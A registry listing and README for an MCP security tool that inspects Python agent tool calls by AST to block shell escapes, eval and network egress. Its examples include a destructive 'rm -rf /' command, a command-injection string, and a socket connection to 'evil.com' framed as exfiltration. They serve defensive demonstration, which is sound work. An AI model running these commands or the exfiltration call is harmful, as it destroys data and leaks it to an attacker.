AW-1 Sovereign Circuit Breaker

io.github.MvikMannersPublished by GitHub account MvikMannersv2.2.1Updated Oct 25, 2026

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

The publisher's own server: Circuit

VerifiedSSEWeb executableDeveloper ToolsSecurity & Monitoring

Overview

AI-generated overview

A deterministic AST-level security circuit breaker that inspects Python tool calls before execution to block shell escapes, dynamic eval and socket egress.

What you can do
  • Inspect and verify code snippets at the abstract syntax tree level before they run, flagging restricted invocations and unauthorized module imports.
  • Halt agent tool dispatches that attempt shell escapes, dynamic eval or covert network connections, returning a tripped decision instead of executing.
  • Apply fast argument filtering to shell commands to catch injection attempts.
  • Run a local demo and exploit showcase, or benchmark inspection latency.
  • Connect to a hosted cloud gateway for centralized policy orchestration, audit compliance and attestation tokens.
When to use it
Useful when an assistant or autonomous agent executes Python or shell tool calls and you want a deterministic pre-execution check rather than prompt-based guardrails. Suited to agent pipelines and MCP servers that need to block eval, subprocess and socket misuse.
Requirements
The manifest declares a remote SSE endpoint with no authentication, while the README describes local use with Python and pip requirements, or uvx, plus optional plugin installs through HOL Guard or a runtime's own CLI. The hosted cloud gateway is a separate commercial offering.
Before you install
The README advertises paid cloud tiers with monthly quotas and license keys, so check whether you need the hosted gateway at all. The remote endpoint is declared without authentication, and the README's install commands run third-party tooling and plugins; review them before applying. Guarding is limited to what the AST inspection covers.

Installation

In SourceWeft

  1. Open AW-1 Sovereign Circuit Breaker in the dashboard and add it to a workspace.
  2. Enable the server for the chats that should use its tools.

Web executable via SSE. Remote servers run from the web runtime once configured in a workspace.

Use with an agent

Paste this prompt into Claude Code, Codex, Cursor or another agent — or into SourceWeft chat. The agent reads this server's install guide, shows you its publisher, endpoint and sign-in, and adds it to your client once you agree. Keys never go into a command.

Read https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker/install.md and connect the MCP server it describes to my client. Before changing any config, show me its publisher, endpoint and sign-in method and wait for my OK. Never put an API key in a command or in a file I would commit; ask me where it should come from.

Read the install guide the agent follows

Other MCP clients

Add this to your client's mcpServers config.

{
  "mcpServers": {
    "aw-1-sovereign-circuit-breaker": {
      "type": "sse",
      "url": "https://p20.laveto.net/wisdom/mcp/sse"
    }
  }
}

README

Install with HOL Guard, which checks the HOL listing and asks before each runtime:

sh
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply

Get HOL Guard with pipx install hol-guard or uv tool install hol-guard.

Install with each runtime's own CLI
RuntimeCommands
Claude Codeclaude plugin marketplace add mvikmanners/aw1-circuit-breaker
claude plugin install aw1-circuit-breaker@aw1-circuit-breaker
Codexcodex plugin marketplace add mvikmanners/aw1-circuit-breaker
codex plugin add aw1-circuit-breaker@aw1-circuit-breaker

AW-1 Circuit Breaker

[HOL Guard]

[Glama]

[PyPI version] [License: MIT] [Latency]

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

bash
uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

[Glama Score]

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

bash
pip install -r requirements.txt

Running the Server

Run directly with Python:

bash
python mcp_server.py

Or via uvx:

bash
uvx mcp_server.py

MCP Client Configuration

json
{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filtersTripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system taskTripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetchTripped (UNAUTHORIZED_MODULE_IMPORT)

Run the Showcase

bash
python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

bash
python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

💳 Cloud Gateway & Commercial Licensing

While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted AW-1 Sovereign Cloud Gateway at https://p20.laveto.net for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.

TierPriceMonthly QuotaFeaturesCheckout
Developer ProBWP 650.00 / mo ($49 USD)100,000 Verified Audits1 commercial license key, offline HMAC validation, Layer 0 AST unpacker, community support👉 Subscribe Now
Team / StartupBWP 2,650.00 / mo ($199 USD)1,000,000 Verified Audits5 developer seat keys, Redis distributed state sync, rolling velocity caps, priority alerts👉 Subscribe Team
Enterprise DedicatedBWP 13,200.00 / mo ($990 USD)Unlimited Verified AuditsDedicated gateway tenant, custom statutory risk lenses, SLA guarantees, SHA-256 Decision Assurance Dossiers💬 Contact Enterprise

*Self-hosted open-source circuit breaking remains 100% free under the Apache-2.0 license.*Fri Oct 30 18:01:42 UTC 2026

Source: README.md at commit e5ce0fa

Tools

0
SourceWeft has not read this server's tools yet.

Version history

3
  1. v2.2.1LatestOct 25, 2026
  2. v2.1.0Oct 21, 2026
  3. v2.0.1Oct 20, 2026

Score

85% of the applicable checks met

How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.

  • Reached in the last 30 daysRequired25 pts
  • Auth declaredRequired10 pts
  • Tools listedRequired15 pts

    Answer tools/list without a credential, or ship a package that starts in a sandbox without one.

  • DescriptionRequired15 pts
  • Logo10 pts
  • Documentation15 pts
  • License10 pts

Other Circuit integrations

Circuit

family.circuitOfficial publisher

Lets an assistant search, inspect and free-try Circuit's paid AI agent skills, and list multi-skill recipes.

Streamable HTTPWeb executable
AI & ML4 toolsOct 24, 2026

GenPark Circuit Breaker Fault Sentinel

Published by GitHub account alphaparkinc

A local MCP server implementing a three-state circuit breaker with failure-rate tripping and automatic half-open probe recovery.

STDIODesktop only
Developer ToolsNot validated · the package type cannot run in the sandboxOct 24, 2026

CircuitAgent

Published by GitHub account mo9652962-ai

CircuitAgent turns plain-language hardware requests into deterministic circuit netlists, DFX audits and fabrication exports for PCB design.

STDIODesktop only
Developer ToolsNot validated yetOct 29, 2026

Circuit Ai Mcp

Published by GitHub account wrnreed-analytics

Lets an assistant join a public collaboration network for AI agents: find requests, share evidence, and form groups.

STDIODesktop only
Communication & CollaborationNot validated yetOct 24, 2026